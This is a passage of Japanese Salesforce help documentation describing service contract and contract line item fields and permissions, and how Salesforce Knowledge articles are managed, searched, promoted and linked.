サービス契約の契約品目名 (商品) の数。品目名

サービス契約の親サービス契約 (ある場合)。親サービス契約

ヒント: サービス契約の子サービス契約の表示、
作成、削除は、[子サービス契約] 関連リストで
行います。

サービス契約階層の最上位サービス契約。サービス契
約が階層のどこにあるかに応じて、ルートが親と同じ
になる場合があります。(参照のみ)

ルートサービス契約

サービス契約に割り当てられた所有者。サービス契約所有者

サービス契約の納入および処理に関する費用の合計。送料および手数料

納入先住所の市区郡部分。最大 40 文字です。市区郡(納入先)

納入先住所の国名部分。エントリは標準値の選択リス
トから選択するか、テキストとして入力します。項目
がテキスト項目の場合は、最大 80 文字です。

国(納入先)

納入先住所の都道府県部分。エントリは標準値の選択
リストから選択するか、テキストとして入力します。
項目がテキスト項目の場合は、最大 80 文字です。

都道府県(納入先)

主な連絡先または納入先住所の町名・番地。最大 255

文字です。
町名・番地(納入先)

主な連絡先または納入先住所の郵便番号部分。最大
20 文字です。

郵便番号(納入先)

サービス契約に明記しておくべき合意条件。特記事項

サービス契約が有効な最初の日。*

この項目は、Apexトリガまたはクイックアクションで
入力するように設定していなければ、空白です。たと

開始日

えば、[開始日]を [状況]が「有効」に変更された日
付に設定するクイックアクションを作成できます。
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説明項目

サービス契約の状況。
状況は、組織のシステムの現在の日付とサービス契約
の [開始日] と [終了日] によって決定します。状況
は次のように設定されます。

状況

• システム日付が [開始日] 以降で [終了日] 以前の
場合は有効。

• システム日付が [終了日] より後の場合は期限切
れ。

• システム日付が [開始日] より前の場合は無効。

次のアイコンのいずれかでサービス契約の状態が示さ
れます。

状況アイコン

• 有効
• 期限切れ
• 無効

割引、税金、送料を適用する前のサービス契約品目名
(商品) の合計。(参照のみ)

小計

サービス契約の税額合計。これは通貨項目であるた
め、パーセントではなく金額を入力します。たとえ
ば、「$10.50」と入力します。

消費税等

サービス契約が有効な月数。
この項目は、[開始日]および [終了日]値には依存し
ません。ビジネスでサービス契約を使用する方法に応

期間(月)

じて、[期間]項目を非表示にしたり、[期間]が指定
されるときに [終了日] を入力するデータ検証を設定
したりできます。

割引を適用し、税金および送料を適用する前のサービ
ス契約品目名 (商品) の合計。(参照のみ)

合計金額

*サービス契約には 4 つの日付項目があります。[作成日] は Salesforce でサービス契約が作成された日付である
ため、最も早い日付です。[有効化日]は、取引先または顧客に対して初めて有効化された日付です。最後に、
[開始日] はサービス契約が有効になった日付または最後に更新された日付、[終了日] はサービス契約が有効
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な最後の日です。[開始日] および [終了日] はデフォルトで空白ですが、[状況] などの他のサービス契約項
目に基づいてこれらの項目に入力する Apex トリガを作成できます。

関連トピック:

サービス契約を使用するためのガイドライン
契約品目名の項目

契約品目名

契約品目名

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

契約品目名は、一般契約ではなくサービス契約に含まれる特定の商品です。
Salesforce 組織が商品を使用する場合にのみ、契約品目名を使用できます。
サービス契約の品目名は、[契約品目名] 関連リストに表示されます。

メモ: スケジュールは契約品目名に表示されず、コミュニティユーザは契
約品目名にアクセスできません。

例: 商品 X、Y、Z を含むサービス契約を作成してから、特定の取引先の取引
先責任者に割り当てられたそのサービス契約のエンタイトルメントを作成
できます。取引先責任者からサポートに連絡があった場合、エージェント
はサービス契約に関連付けられたエンタイトルメントが有効かどうかを確
認します。有効な場合、エージェントはサービス契約に含まれる商品 (契約
品目名として表示) のサポートを提供できます。

関連トピック:

契約品目名を使用するためのガイドライン
契約品目名の項目
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契約品目名を使用するためのガイドライン

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

サービス契約に契約品目
名を追加する
• サービス契約に対する

「編集」権限

および

契約品目名に対する
「作成」および商品と
価格表に対する「参
照」

契約品目名を参照する
• 契約品目名に対する

「参照」および商品と
価格表に対する「参
照」

契約品目名を編集する
• 契約品目名に対する

「編集」および商品と
価格表に対する「参
照」

契約品目名を削除する
• 契約品目名に対する

「削除」および商品と
価格表に対する「参
照」

契約品目名は、サービス契約に含まれる特定の商品です。契約品目名の基本ア
クションを実行する方法について説明します。
契約品目名の表示

契約品目名を表示するには、そのサービス契約に移動します。[契約品目名]

関連リストには、サービス契約に関連付けられているすべての品目が表示さ
れます。契約品目名をクリックすると、関連付けられたエンタイトルメン
ト、履歴などが表示されます。

メモ: 契約品目名のリストビューを作成することはできません。

サービス契約への契約品目名の追加
サービス契約の詳細ページの [契約品目名] 関連リストからサービス契約に品
目名を追加できます。
1. [契約品目名] 関連リストで [商品名の追加] をクリックします。
2. プロンプトが表示されたら価格表を選択します。標準価格表のみが有効

化されている場合は、自動的にサービス契約に割り当てられます。
3. リストから 1 つ以上の商品を選択するか、商品を検索して商品名をクリッ

クします。
4. 各商品の属性を入力します。業務に固有な項目を追加するために、シス

テム管理者がこのページをカスタマイズしている場合があります。
5. 商品の [販売価格] を入力します。[販売価格] は、商談に割り当てられてい

る価格表に指定されたデフォルトのリスト価格に設定されます。必要な
ユーザ権限がある場合には、この値を上書きできます。たとえば、割引
を行うことができます。

6. [数量] ボックスに、この価格で提供する商品の数を入力します。
7. [保存] をクリックします。

ヒント:  1 つの品目名を別の品目名の親にするには、[親契約品目名] 項
目と [子契約品目名] 関連リストを使用します。これにより、複数のコン
ポーネントを含む複雑な商品を表すことができます。

契約品目名の削除
サービス契約の契約品目名の詳細ページまたは [契約品目名] 関連リストから
契約品目名を削除できます。
削除した契約品目名はごみ箱に移動されます。契約品目名に関連するメモ、
添付ファイル、活動も削除されます。契約品目名を元に戻すと、関連項目も
元に戻ります。

2757

契約品目名顧客のサポート



契約品目名の共有
契約品目名の共有はできません。契約品目名の共有は、サービス契約の共有を継承します。たとえば、サー
ビス契約の「参照」権限を持つユーザは、契約品目名の「参照」権限を継承します。

関連トピック:

契約品目名の項目
エンタイトルメントの用語

契約品目名の項目

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

契約品目名には次の項目があります。ページレイアウト設定と項目レベルセキュ
リティ設定によっては、これらの項目には表示できないものや編集できないも
のがあります。

説明項目

契約品目名に関連付けられた納入商
品。
商品は、会社が販売するアイテム (た
とえば、ラップトップケース) を示し、
納入商品は、顧客が購入した特定の商
品 (John が購入したラップトップケー
ス) を示します。

納入商品名

契約品目名を作成したユーザ。(参照の
み)

作成者

契約品目名が作成された日付。作成日

契約品目名のテキストによる説明。こ
の項目には最大 32 KB までのデータを

説明

入力できます。レポートには、最初の
255 文字だけが表示されます。

契約品目名に適用する割引額。パーセ
ント記号を使用して、または使用せず

割引

に数値を入力できます。また、小数点
以下の桁数は最大 2 桁です。

契約品目名が有効な最後の日。
この項目は、Apexトリガまたはクイッ
クアクションで入力するように設定し
ていなければ、空白です。

終了日

最後に契約品目名を変更したユーザ。
(参照のみ)

最終更新者
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説明項目

契約品目名を識別する自動生成番号。(参照のみ)品目番号

価格表内の契約品目名 (商品) の価格 (通貨を含む)。(参
照のみ)

リスト価格

契約品目名の親品目名 (存在する場合)。親契約品目名

ヒント: 契約品目名の子品目名の表示、作成、
削除は、[子契約品目名] 関連リストで行います。

価格表に表示される契約品目名 (商品) の名前。商品

サービス契約の契約品目名 (商品) の単位数。
値は 1 以上である必要があります。

数量

契約品目名階層の最上位契約品目名。品目名が階層の
どこにあるかに応じて、ルートが親と同じになる場合
があります。(参照のみ)

ルート契約品目名

契約品目名に使用する価格。
デフォルトでは、商談または見積に追加される契約品
目名 (商品) の販売価格は、価格表から取得する品目名
のリスト価格です。ただし、変更は可能です。

販売価格

契約品目名に関連付けられたサービス契約。サービス契約

契約品目名の開始日。
この項目は、Apexトリガまたはクイックアクションで
入力するように設定していなければ、空白です。

開始日

契約品目名の状況。
状況は、組織のシステムの現在の日付と契約品目名の
[開始日]と [終了日]によって決定します。状況は次
のように設定されます。

状況

• システム日付が [開始日] 以降で [終了日] 以前の
場合は有効。

• システム日付が [終了日] より後の場合は期限切
れ。

• システム日付が [開始日] より前の場合は無効。

次のアイコンのいずれかで契約品目名の状況が示され
ます。

状況アイコン

• 有効
• 期限切れ
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説明項目

• 無効

契約品目名の価格に数量を乗じた価格。小計

契約品目名の価格に数量を乗じ、割引金額を引いた価
格。

合計金額

関連トピック:

サービス契約の項目
契約品目名を使用するためのガイドライン
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ナレッジへのアクセス

Salesforce ナレッジ

記事および翻訳の操作

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition
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ユーザ権限

記事を作成、編集、また
は削除する
• 「記事の管理」

および

記事タイプに対する
「作成」、「参照」、
「編集」、または「削
除」

記事を公開またはアーカ
イブする
• 「記事の管理」

および

記事タイプに対する
「作成」、「参照」、
「編集」、および「削
除」

記事の翻訳を申請する
• 「記事の管理」

および

記事タイプに対する
「作成」、「参照」、
および「編集」

記事の承認を申請する
• 承認プロセス設定に

よって異なる権限

[記事の管理] タブが、公開サイクル全体 (作成、コラボレータへの割り当て、翻
訳、公開、アーカイブ、削除) を通じて記事を操作するためのホームページとな
ります。
一部のタスクでは、実行するためにエージェントに記事の記事タイプおよび記
事アクションに対する適切な権限が必要です。詳細は、「公開グループへの記
事アクションの割り当て」を参照してください。
リストビューに表示する記事を指定するには、サイドバーで次のオプションを
使用します。
• [ビュー] 領域で、[ドラフト記事]、[公開記事]、または [アーカイブ済み記事]

を選択します。ドラフト記事は、自分に割り当てられているドラフト記事ま
たは他のユーザに割り当てられているドラフト記事 (組織のすべてのドラフ
ト記事) に絞り込むことができます。

• 該当する場合は、[ビュー] 領域の [翻訳] タブをクリックして、[ドラフト翻訳]

または [公開翻訳] を選択します。ドラフト翻訳は、自分に割り当てられてい
るドラフト翻訳、翻訳キューに割り当てられているドラフト翻訳、または他
のユーザに割り当てられているドラフト翻訳 (組織のすべてのドラフト翻訳)

に絞り込むことができます。
• 現在のビューを絞り込むには、最初に記事の言語検索条件を選択し、次に

[ビュー内を検索]項目にキーワードまたは語句を入力します。アーカイブ済
み記事では [ビュー内を検索] 項目が無効です。

• [条件] エリアで、ドロップダウンメニューからカテゴリを選択して現在の
ビューを絞り込みます。

表示する列を変更するには、[列]をクリックします。[ビュー] エリアでの選択に
応じて、次の列を選択できます。

ビュー説明列

すべての記事と翻訳記事または翻訳に実行可
能なアクションが表示さ
れます。

アクション

公開記事、アーカイブ済
み記事、および公開翻訳

内部の Salesforce 組織、カ
スタマーポータル、パー
トナーポータル、および

すべてのユーザの評価

公開知識ベースのユーザ
からの平均評価。

アーカイブ済み記事記事がアーカイブされた
日付。

アーカイブ日

すべての記事と翻訳記事に自動的に割り当て
られる固有番号。

記事番号

すべての記事記事を表示するにはク
リック。

記事タイトル
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ビュー説明列

ドラフト記事とドラフト翻訳記事の作業を割り当てられたユー
ザ。

割り当て先

ドラフト記事とドラフト翻訳割り当てに関する説明。割り当ての詳細

ドラフト記事とドラフト翻訳記事の作業を完了する日付。この
日付を経過すると、赤色で表示さ
れます。

割り当て期日

ドラフト記事とドラフト翻訳記事が書き込まれた日付。作成日

公開記事、アーカイブ済み記事、
および公開翻訳

カスタマーポータルおよび公開知
識ベースのユーザからの平均評価。

カスタマーの評価

ドラフト翻訳と公開翻訳記事が翻訳される言語。言語

ドラフト翻訳と公開翻訳翻訳に対して最後に行われたアク
ションの日付と種別。

最後のアクション

ドラフト記事とドラフト翻訳記事を最後に更新したユーザ。最終更新者

すべての記事と翻訳記事が最後に編集された日付。最終更新日

公開記事、アーカイブ済み記事、
および公開翻訳

内部の Salesforce 組織、カスタマー
ポータル、パートナーポータル、
および公開知識ベースのユーザか
らの平均表示回数。

参照回数が最多 (すべてのユーザ)

公開記事、アーカイブ済み記事、
および公開翻訳

カスタマーポータルおよび公開知
識ベースのユーザからの平均表示
回数。

参照回数が最多 (カスタマー)

公開記事、アーカイブ済み記事、
および公開翻訳

パートナーポータルおよび公開知
識ベースのユーザからの平均表示
回数。

参照回数が最多 (パートナー)

公開記事、アーカイブ済み記事、
および公開翻訳

パートナーポータルおよび公開知
識ベースのユーザからの平均評価。

パートナーの評価

公開記事と公開翻訳記事が公開された日付。公開日

ドラフト翻訳と公開翻訳翻訳前の元の記事。記事を表示す
るには、タイトルをクリックしま
す。

ソース記事

ドラフト翻訳と公開翻訳翻訳記事のタイトル。翻訳を編集
するには、タイトルをクリックし
ます。

翻訳記事
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ビュー説明列

翻訳を申請した記事翻訳サイクル内の状況。各翻訳の
状況を表示するには、アイコンの

翻訳状況

上にマウスを移動します。翻訳が
公開済みの場合は、ドラフト翻訳
と公開翻訳にそれぞれ別個のタブ
が表示されます。

すべての記事記事に含まれる情報を決定する、
FAQ または商品説明などの記事タイ
プ。

タイプ

すべての記事と翻訳 (有効な場合)記事の内容が検証されたかどうか
を示します。

検証状況

すべての記事記事のバージョン。バージョン番
号の上にマウスを置くと、その記

バージョン

事の他のバージョンについての詳
細が表示されます。

[記事の管理] タブでは、次の操作を実行できます。
• 検索語を入力するか、[カテゴリ] ドロップダウンメニューを使用して、記事または翻訳を検索する。
• [新規] をクリックして記事を作成する。
• 記事また翻訳を選択し、[Publish...] をクリックして公開する。「記事を公開」記事アクションの権限があ

り、記事に承認プロセスが設定されている場合は、[Publish...]ボタンと [承認申請]ボタンの両方が表示され
ます。

• 記事また翻訳の横にある [編集] をクリックして変更する。
• 記事または翻訳の横にある [プレビュー] をクリックして、エンドユーザにどう表示されるかを確認する。

[チャネル] ドロップダウンメニューから、記事を表示するチャネルを選択できます (公開知識ベースを除
く)。

メモ: 投票および Chatter 情報は、ナレッジ記事をプレビューしているときには使用できません。

• 記事または翻訳のバージョン番号をクリックして、他のバージョンのリストを表示する。
• 記事また翻訳を選択し、[Assign...] をクリックして、所有者を変更する。

メモ: すべてのドラフト記事に任命先が必要です。

• 記事また翻訳を選択し、[削除] をクリックしてごみ箱に移動する。
• 公開記事また公開翻訳を選択し、[Archive...] をクリックしてアーカイブする。
• 記事を選択し、[翻訳申請] をクリックして翻訳を申請する。言語ごとに記事の期日を設定して、別のエー

ジェントまたは翻訳ベンダにエクスポートするキューに割り当てることができます。
• [設定] ページに直接移動し、[関連リンク] 領域の [記事をエクスポートして翻訳する] および [記事翻訳のイ

ンポート] を使用して翻訳する記事をエクスポートまたはインポートする。
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[ナレッジ] タブでの記事および外部ソースの検索
統合検索を使用して、すべてのリソースを一度に検索します。
記事の作成と編集
[ナレッジ] タブまたは [記事の管理] タブで記事を作成または編集できます。記事を作成する場合、記事タイ
プと言語の選択が必要になる場合があります。公開記事または翻訳を編集する場合、元の記事を公開した
ままドラフトコピーを編集するか、元の記事を公開から削除して直接編集するかを選択します。コピーを
編集する場合、そのコピーを公開すると、最後に公開されたバージョンの記事と置き換えられます。元の
記事を編集する場合、その記事を再公開するまでチャネルでは使用できません。
記事および翻訳の公開
記事や翻訳を公開すると、選択したすべてのチャネルに表示されます。翻訳のある記事を公開した場合は、
記事のすべての翻訳も公開されます。
Salesforce ナレッジ内の記事の翻訳
組織が Salesforce ナレッジの記事を内部で翻訳する場合は、翻訳の詳細ページから翻訳を入力できます。
記事と翻訳のアーカイブ
アーカイブすると、使用されなくなった公開記事と翻訳は削除され、組織の Salesforce ナレッジチャネルで
エージェントおよび顧客には表示されなくなります。
Salesforce ナレッジ記事バージョン
記事をバージョン管理することで公開済み記事の旧バージョンを保存できるため、ケースに関連付けられ
た記事のバージョンを確認することができます。前バージョンを保存するには、新しいバージョンを公開
するときに [新規バージョンとしてフラグ] チェックボックスをオンにします。公開されていた前バージョ
ンが保存され、新しいバージョンに次のシーケンスバージョン番号が識別子として付けられて公開されま
す。
記事と翻訳の削除
[記事の管理] タブか、記事または翻訳の詳細ページで記事と翻訳を削除できます。完全に削除すると、記
事は知識ベースから削除されます。削除できるのは、ドラフト記事、記事のドラフト翻訳、またはアーカ
イブ済み記事です。公開記事または翻訳は削除できません。
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[記事] タブまたは [ナレッジ] タブ
Salesforce ナレッジで使用しているタブと、各タブで可能な操作を確認します。

関連トピック:

[ナレッジ] タブでの記事および外部ソースの検索
記事の作成と編集
記事および翻訳の公開
Salesforce ナレッジ内の記事の翻訳
記事と翻訳のアーカイブ
Salesforce ナレッジ記事バージョン
記事と翻訳の削除
[記事] タブまたは [ナレッジ] タブ
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)

[ナレッジ] タブでの記事および外部ソースの検索

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

記事タイプに対する「参照」記事を表示する

「記事の管理」

および

記事タイプに対する「参照」および「作
成」

記事を作成する

「記事の管理」

および

記事タイプに対する「参照」および「編
集」

ドラフト記事を編集する

「記事の管理」

および

記事タイプに対する「作成」、「参
照」、および「編集」

公開記事またはアーカイブ済み記事を編
集する

「記事の管理」

および

ドラフト記事、公開記事、またはアーカ
イブ済み記事を削除する

記事タイプに対する「参照」、「編
集」、および「削除」

「アプリケーションのカスタマイズ」外部データソースを作成および編集する
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統合検索を使用して、すべてのリソースを一度に検索します。
1. [検索] ボックスに検索語を入力します。

検索語には検索用のワイルドカードと演算子を使用できます。組織でオートコンプリートオプションが有
効化されている場合は、推奨候補から選択できます。

メモ: オートコンプリートのドロップダウンの記事タイトルには用紙アイコンが表示されますが、キー
ワードには虫眼鏡アイコンが表示されます。

2. 検索アイコンをクリックするか、キーボードの Enter キーを押します。
3. 必要に応じて、検索条件を選択して、検索結果を絞り込みます。

検索するソースに応じて、言語、データカテゴリ、記事の状況、記事タイプ、記事検証で絞り込みます。
すべての検索条件をデフォルト設定に戻すには、[リセット] をクリックします。
• [すべて] を選択すると、組織でサポートされている内容に応じて、言語およびデータカテゴリで絞り

込むことができます。
• [記事] または [私のドラフト] を選択すると、次を使用して絞り込むことができます。

– 記事の状況: 公開、ドラフト、およびドラフト翻訳
– 言語: 組織でサポートされている内容によって値は異なる
– データカテゴリ: 組織で作成された内容によって値は異なる
– 記事タイプ: 組織で作成された内容によって値は異なる
– 検証状況: 条件なし (すべての記事)、未検証 (検証されていない記事)、検証済み (検証された記事)、お

よびレビュー中など、組織でサポートされている他のすべての値。
• 外部ソースが選択されている場合、検索条件はなく、表示される一般記事情報は外部オブジェクトの検

索レイアウトによって制御されます。

4. 記事の場合、次の項目で並び替えることができます。
• 公開日
• 最良の評価
• 参照回数が最多
• タイトル: A ～ Z

• タイトル: Z ～ A

5. 記事または外部ソースタイトルをクリックして、情報を表示します。タイトルの下に、新しい記事を示す
表示、記事番号、記事タイプ、検証状況、最終公開日、記事ビューの比較、および記事評価の比較などの
一般的な記事情報が表示されます。

6. 権限に従って、記事ごとにドロップダウンを使用して、記事をフォローまたはフォロー解除、編集、公開、
および削除します。
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検索結果の記事の昇格
キーワードを記事に関連付けて、Salesforce ナレッジの検索結果を最適化します。このようなキーワードを
検索するユーザには、関連付けられた記事が検索結果で最初に表示されます。昇格済み検索語は、ユーザ
の検索に特定のキーワードが含まれている場合に、よく使用される記事を昇格させてサポート問題を解決
するのに役立ちます。
記事の検索結果
記事の検索のしくみは、検索オプション、検索語、ワイルドカード、および演算子の使用に応じて異なり
ます。Salesforce ナレッジ検索では、Salesforce 全体で使用可能なものと同じカスタム検索アルゴリズムが使
用されます。適切な検索結果を返すために、このアルゴリズムにはトークン化や見出語化などのメカニズ
ムおよびストップワードリストが含まれます。

関連トピック:

検索結果の記事の昇格
記事の検索結果
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)

検索結果の記事の昇格

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

昇格済み検索語を作成、
編集、および削除する
• 「昇格済み検索語の管

理」

キーワードを記事に関連付けて、Salesforce ナレッジの検索結果を最適化します。
このようなキーワードを検索するユーザには、関連付けられた記事が検索結果
で最初に表示されます。昇格済み検索語は、ユーザの検索に特定のキーワード
が含まれている場合に、よく使用される記事を昇格させてサポート問題を解決
するのに役立ちます。
昇格済み用語を管理するには、記事が公開状況である必要があります。
1. [記事の管理] タブの [ビュー] セクションで [公開記事] を選択し、検索語を昇

格する公開記事のタイトルをクリックします。
2. [昇格済み検索語] 関連リストで、[昇格済みの新規用語] をクリックします。
3. 記事に関連付けるキーワードを入力します。

• 同じ用語を複数の記事に関連付けることができます。ユーザの検索が昇
格済み用語と一致すると、関連付けられたすべての記事が、関連性の高
い順に検索結果で昇格されます。

• 昇格済み用語あたりの最大文字数は 100 文字です。ユーザの検索語で最適
な一致結果を得るには、それぞれの昇格済み用語を限られたキーワード
数に制限します。

4. [保存] をクリックします
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例: たとえば、ログインの問題など、一般的なサポート問題を記事で取り上げている場合は、「パスワー
ド」や「パスワードの変更」という用語を関連付けることができます。用語内のすべてのキーワードがユー
ザの検索語に含まれていると、記事の検索は任意の順序で昇格済み用語と一致します。キーワードは、
完全に一致する必要があります。以下に例を示します。
• 昇格済み用語「パスワード」は、「パスワードの変更」という検索と一致します。
• 昇格済み用語「パスワードの変更」は、「パスワードを変更する方法」という検索とは一致しますが、

「パスワードを忘れた場合」という検索とは一致しません。
• 昇格済み用語「パスワード」は、「複数パスワードの変更」という検索とは一致しません。

昇格済み検索語を使用する場合は、次の制約および一般的な制限を考慮してください。
• 組織で最大 2,000 個の昇格済み用語を作成できます。最良の結果を得るには、昇格済み用語を選択的に使用

します。つまり、昇格済み用語および用語あたりの昇格済み記事の数を制限して作成します。
• 組織で記事を複数言語に翻訳している場合は、それぞれの昇格済み用語が、1 つの記事バージョンおよびそ

の言語に関連付けられます。同じ昇格済み用語をそれぞれの翻訳言語に関連付ける必要がある場合、翻訳
言語ごとに昇格済み用語を指定する必要があります。たとえば、「change password」は英語版の記事に関連
付け、「changer mot de passe」はフランス語版の記事に関連付けます。

• 記事の検索範囲は、エンドユーザの言語設定によって決まります。ユーザの言語ではない記事バージョン
および関連付けられた昇格済み用語は、検索結果から除外されます。

関連トピック:

記事の検索結果
[ナレッジ] タブでの記事および外部ソースの検索
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)
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記事の検索結果

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

記事の検索のしくみは、検索オプション、検索語、ワイルドカード、および演
算子の使用に応じて異なります。Salesforce ナレッジ検索では、Salesforce 全体で使
用可能なものと同じカスタム検索アルゴリズムが使用されます。適切な検索結
果を返すために、このアルゴリズムにはトークン化や見出語化などのメカニズ
ムおよびストップワードリストが含まれます。
多くの要因が結果リストの記事の表示順に影響します。Salesforce は、入力した
検索語とデータを評価し、より適切な一致を結果リストの上位に移動します。
リストの上位に表示される要因には次のものがあります。
演算子

記事検索で演算子を指定しない場合、検索エンジンによって最適な演算子が
判断されて使用されます。
多くの検索では、デフォルトの演算子として「AND」が使用されます。つま
り、複数の語を検索する場合、結果を生成するためにすべての語が一致して
いる必要があります。すべての語に一致する検索結果の方が、クエリの検索
語のいずれかに一致する「OR」演算子を使用した検索結果より関連性が高く
なる傾向にあります。
検索エンジンからすべての語に一致する結果が返されなかった場合は、「OR」
演算子を使用して一致する語を検索します。「OR」演算子を使用する場合、
検索エンジンでは、検索クエリのより多くの語を含むドキュメントを優先的に表示するため、結果リスト
ではより上位に表示されます。

頻度
このアルゴリズムは、各記事に検索語が出現する頻度を計算します。次に、頻度を相互に重み付けして最
初の検索結果セットを生成します。

関連性
頻繁に表示される記事または頻繁にケースに添付される記事は、結果のより上位に表示されます。レコー
ド所有権および最近の活動でも、記事が上位に表示されます。

検索語の近似性
検索のキーワードのすべてが含まれる記事が最も高く順位付けされます。次に、より少ないキーワードが
含まれる記事、1 つのキーワードしか一致しない記事の順に順位付けされます。一致したドキュメント内
で、互いに近い (単語間に含まれる語がほとんどないかまったくない) 検索語は、リストでより上位に順位
付けされます。

完全一致
キーワードとの完全一致が、シノニムや見出語化された語より上位に順位付けされます。

タイトル項目
検索語が記事タイトルの語に一致した場合、その記事が検索結果の上位に表示されます。
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トークンの順序
検索語に文字と数字の両方が含まれるために複数のトークンに分割される場合、トークンの順序が同じも
のが結果の上位に表示されます。そのため、完全一致の結果が、トークン間に他のトークンが含まれる場
合の一致より上位に順位付けされます。

関連トピック:

検索結果の記事の昇格
[ナレッジ] タブでの記事および外部ソースの検索
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)

記事の作成と編集

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

[ナレッジ] タブまたは [記事の管理] タブで記事を作成または編集できます。記事
を作成する場合、記事タイプと言語の選択が必要になる場合があります。公開
記事または翻訳を編集する場合、元の記事を公開したままドラフトコピーを編
集するか、元の記事を公開から削除して直接編集するかを選択します。コピー
を編集する場合、そのコピーを公開すると、最後に公開されたバージョンの記
事と置き換えられます。元の記事を編集する場合、その記事を再公開するまで
チャネルでは使用できません。

メモ: カテゴリを適用する場合、ユーザが操作中に検索すると思われるカ
テゴリを選択します。ユーザは、明確に適用されたカテゴリ、そのカテゴ
リの親、またはそのカテゴリの子を選択した場合にのみ記事を見つけられ
ます。

記事が完成したら、別のエージェントに割り当てて記事を編集またはレビュー
するか、直接記事を公開するか、または記事を承認申請できます。「記事を公
開」記事アクションの権限があり、記事に承認プロセスが設定されている場合
は、[Publish...] ボタンと [承認申請] ボタンの両方が表示されます。

Salesforce ナレッジ記事へのスマートリンク
ある記事から別の記事にスマートリンクを作成します。

関連トピック:

Salesforce ナレッジ記事へのスマートリンク
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)

2771

Salesforce ナレッジ顧客のサポート

https://resources.docs.salesforce.com/202/latest/en-us/sfdc/pdf/salesforce_knowledge_implementation_guide.pdf
https://resources.docs.salesforce.com/202/latest/en-us/sfdc/pdf/salesforce_knowledge_implementation_guide.pdf


Salesforce ナレッジ記事へのスマートリンク

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

記事を作成する
• 「記事の管理」

および

記事タイプに対する
「参照」および「作
成」

ある記事から別の記事にスマートリンクを作成します。
記事の名前または URL が変更されると、スマートリンクは自動的に調整されま
す。たとえば、記事の URL 名が変更されると、Salesforce ナレッジはチャネルに基
づいて記事の URL を自動的に更新し、公開知識ベースのサイトプレフィックス
を追加して、コミュニティポータルのコミュニティ名を追加します。リッチテ
キストエディタで、Salesforce ナレッジ記事へのスマートリンクを別の記事内で
作成するには、次の 2 通りの方法があります。
• 記事を検索する。
• 記事の URL を入力する。

重要: スマートリンクは、それらが置かれているチャネルに基づきます。
このため、別のチャネルにある記事にスマートリンクを追加することはで
きません。たとえば、公開知識ベースの記事は、内部チャネルでのみ公開
されている記事にはリンクできません。

検索を使用した Salesforce ナレッジ記事へのスマートリンク
リッチテキストエディタで [記事をリンク] ダイアログを使用して、ある記事
から別の記事にスマートリンクを作成します。
URL を使用した Salesforce ナレッジ記事へのスマートリンク
リッチテキストエディタで記事の URL を手動で入力して、ある Salesforce ナ
レッジ記事から別の記事にスマートリンクを作成します。

関連トピック:

検索を使用した Salesforce ナレッジ記事へのスマートリンク
URL を使用した Salesforce ナレッジ記事へのスマートリンク
記事の作成と編集
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)
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検索を使用した Salesforce ナレッジ記事へのスマートリンク

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

記事を作成する
• 「記事の管理」

および

記事タイプに対する
「参照」および「作
成」

リッチテキストエディタで [記事をリンク] ダイアログを使用して、ある記事か
ら別の記事にスマートリンクを作成します。
記事を作成または編集するときに、キーワード検索を使用してリッチテキスト
エリア項目でスマートリンクを作成できます。
1. リンクを配置する場所にカーソルを置きます。
2.

リンクアイコン をクリックします。
[記事のリンク] ダイアログが表示されます。

3. 必要に応じて、検索する言語を選択します。
言語を選択しない場合、Salesforce ナレッジは、キーワード検索に関連する知
識ベースのデフォルト言語でそれらの記事を返します。

